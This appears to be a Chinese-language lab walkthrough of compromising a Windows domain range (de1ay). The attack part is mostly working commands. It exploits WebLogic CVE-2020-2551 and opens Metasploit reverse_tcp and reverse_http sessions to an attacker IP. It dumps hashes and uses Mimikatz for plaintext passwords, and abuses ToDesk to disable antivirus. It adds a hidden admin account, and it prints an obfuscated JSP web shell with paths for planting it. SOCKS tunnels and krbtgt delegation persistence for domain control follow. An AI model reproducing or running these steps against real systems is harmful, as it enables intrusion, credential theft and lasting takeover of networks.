存活
10.10.10.11
,开放
80,135,139,445,1433,3389,7001
等端口,Nmap 做一下漏洞扫描:
1
nmap 10.10.10.11 --script=vuln -p 80,135,139,445,1433,3389,7001
发现 ms12-020(蓝屏攻击)、ms17-010 等漏洞,但都无法利用,ms17-010 可能需要有效的用户名和凭据,接下来以 Web 为入口点尝试,通过目录扫描在 7001 发现 WebLogic 管理服务:
1
http://10.10.10.11:7001/console/login/LoginForm.jsp
使用 WeblogicTool_1.2 进行漏洞检查和利用,发现存在 CVE_2020_2551_ECHO,注入哥斯拉内存马,使用哥斯拉连接,拿到 Shell
MSF 上线探究与免杀
,但注意上传的目录不对的话会在运行时直接被数字卫士拦截,这里选择
C:/Users/de1ay/Desktop/
,在 MSF 开启监听:
1 2 3 4 5
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LPORT 9999 set LHOST 192.168.12.135 exploit
在哥斯拉使用以下命令执行木马:
成功上线 MSF,但需要尽快迁移进程:
1 2 3 4 5 6
# 查看进程 ps # 查看 msf 获取 shell 的进程号 getpid # 迁移进程、512 为 vmtoolsd,较为稳定 migrate 512
如果想派生到 CS,可以先在 CS 上建立一个反向 HTTP 监听,然后执行下面的命令:
1 2 3 4 5 6 7 8 9
bg use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.12.135 set lport 4446 set DisablePayloadHandler True set PrependMigrate True set session 1 exploit
就成功上线 CS 了,在 CS 也需要迁移进程,可以使用 CS 进行 Hash 的抓取:
1 2 3 4
hashdump # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # de1ay:1000:aad3b435b51404eeaad3b435b51404ee:01c234eb550fca678d3cbf91628c9d2f::: # Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
同时可以进行内网的主机存活探测
这里没有开启另一台靶机,所以只有两个,因为我们已经是 SYSTEM 权限,所以无需提权,在做权限维持新建用户的时候被数字卫士拦截,于是想着去关闭数字卫士,使用的方法是通过远控软件进行关闭,这里选择的是 ToDesk,下载地址:
https://www.todesk.com/download.html,将下载的
ToDesk 上传至靶机的桌面:
接着运行下面的命令静默安装:
1
shell C:\Users\de1ay\Desktop\ToDesk_4.7.2.0_xp.exe /S
在靶机上查是否存在以下目录来确定是否安装成功:
安装完成后应该会自动启动,若在进程列表里没有找到尝试手动启动,但可能会被数字卫士拦截:
抱着模拟真实渗透场景的原则,我们不能直接在靶机上查看 ToDesk 的设备代码和密码,我们需要在下面的文件里读取:
将文件下载,文件部分内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
[ConfigInfo] passUpdate =3 PrivateScreenLockScreen =1 autoLockScreen =0 downloadtimes =202310190 clientId =211237490 PrivateData =93895 f59c6346def400fd3292435acdd7ad9d89a9005c91a801d445991abdcd9c1ef33ef0ef41248349649f1a40f34465deb0f60e255122fcb PluginExpiresDays =0 Resolution =1920 x1080isOpenTempPass =1 updatePassTime =20231019192542 language =936 isAdmissionControl =1 WeakPasswordTip =0 Version =4.7 .2.0 isUpdate =0 tempAuthPassEx =c132c740215bf6b2e5e5cec82aa1572b739398c7f142fe7335fb3769481b035df8af48bc411d97ae450f0540dd4eaf69131bce730b7e9803 PresetDialogUpdateDate =2023 -10 -19 PresetDialogShowCount =0 UpdateFrequencyPromptBubble =0
我们可以轻易拿到设备代码为
clientId=211237490
,密码则需要我们把这些配置复制到我们本地的 ToDesk 配置文件中,我们再次启动本地的 ToDesk 时,本地的密码就是靶机的 ToDesk 密码,尝试连接:
关闭数字卫士,新建一个管理员用户:
1 2
net user hacker$ hacker###666 /add net localgroup Administrators hacker$ /add
作为权限维持的一个方式,RDP 连接上去:
可以再写一个 WebShell 作为权限维持的手段,如下:
1 2 3 4 5 6 7 8 9
# 把 shell 写到控制台 images 目录中 \Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp # 写到 uddiexplorer 目录中 \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp http://*.*.*.*:7001/uddiexplorer/shell.jsp # 在应用安装目录中 \Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp http://*.*.*.*:7001/项目名/shell.jsp
这里我选择的是第一种方式,下面是一个 Shell 的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
<%@ page pageEncoding="utf-8"
%> <%@ page import ="java.util.Scanner" %> <HTML> <title>Just For Fun</title> <BODY> <H3>Build By LandGrey</H3> <FORM METHOD="POST" NAME="form" ACTION="#" > <INPUT TYPE="text" NAME="q" > <INPUT TYPE="submit" VALUE="Fly" > </FORM> <% String op="Got Nothing" ; String query = request.getParameter("q" ); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if (fileSeparator.equals("\\" )){ isWin = true ; }else { isWin = false ; } if (query != null ) { ProcessBuilder pb; if (isWin) { pb = new ProcessBuilder (new String (new byte []{99 , 109 , 100 }), new String (new byte []{47 , 67 }), query); }else { pb = new ProcessBuilder (new String (new byte []{47 , 98 , 105 , 110 , 47 , 98 , 97 , 115 , 104 }), new String (new byte []{45 , 99 }), query); } Process process = pb.start(); Scanner sc = new Scanner (process.getInputStream()).useDelimiter("\\A" ); op = sc.hasNext() ? sc.next() : op; sc.close(); } %> <PRE> <%= op %>> </PRE> </BODY> </HTML>
在实际中上面的代码也许需要修改,以满足隐蔽和加密的需求,接下来搭一个直通内网的代理,这里使用 EW 来搭建 Socks 隧道:
1 2 3 4
# Linux 靶机上运行 ./ew_for_linux64 -s rcsocks -l 1080 -e 8888 # Windows 靶机上运行 ew_for_Win -s rssocks -d 192.168.12.135 -e 8888
在 Kali 添加以下 dns 解析,为下文做准备:
1 2 3 4
10.10.10.10 dc.de1ay.com 10.10.10.13 pc2.de1ay.com 10.10.10.11 web.de1ay.com 10.10.10.12 pc.de1ay.com
配置 Proxychains,编辑
vim /etc/proxychains4.conf
:
1 2 3 4 5
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080
接下来使用 Nmap 扫描内网:
1
proxychains nmap 10.10.10.1/24
可以扫描,不过速度慢的可怜,这里使用 Proxifier 在 Windows 上扫描:
1
nmap -sT -Pn 10.10.10.10,11,12
使用 TCP 扫描,禁用 Ping:
但扫描速度还是比较慢,这里直接将扫描器扔到靶机里去扫描,这里使用 fscan:
1
fscan64.exe -h 10.10.10.1/24
这几个 MS17010 不准备去打,接下来上传 Mimikatz,使用下面的命令抓取明文密码:
1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > test.txt
得到几个关键的密码:
1 2
DE1AY\mssql 1qaz@WSX WEB\de1ay QWER!@#123
得到了一个域账户和一个本地账户和相应的密码
利用基于资源的约束性委派打造变种黄金票据
,这是基于资源的约束性委派,还有约束性委派的例子:
利用 Kerberos delegation 打造变种黄金票据
,利用
Powermad.ps1
脚本新建一个密码为 gttest 的机器账号,密码为 123456:
1 2
Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount gttest -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
再配置 gttest 到 krbtgt 的基于资源的约束性委派(需要域管权限):
1 2 3 4
# 配置 Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount gttest$ # 查询 Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
配置完成后,不管域管用户密码如何改变,我们都对该域有完全的控制权限:
1 2 3 4
proxychains getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator de1ay.com/gttest\$:123456 export KRB5CCNAME=administrator.ccache # set KRB5CCNAME=administrator.ccacheproxychains smbexec.py -no-pass -k administrator@dc.de1ay.com -dc-ip 10.10.10.10
如上图,可以在域控执行命令,这种方法相对于传统的黄金票据动作稍微有点大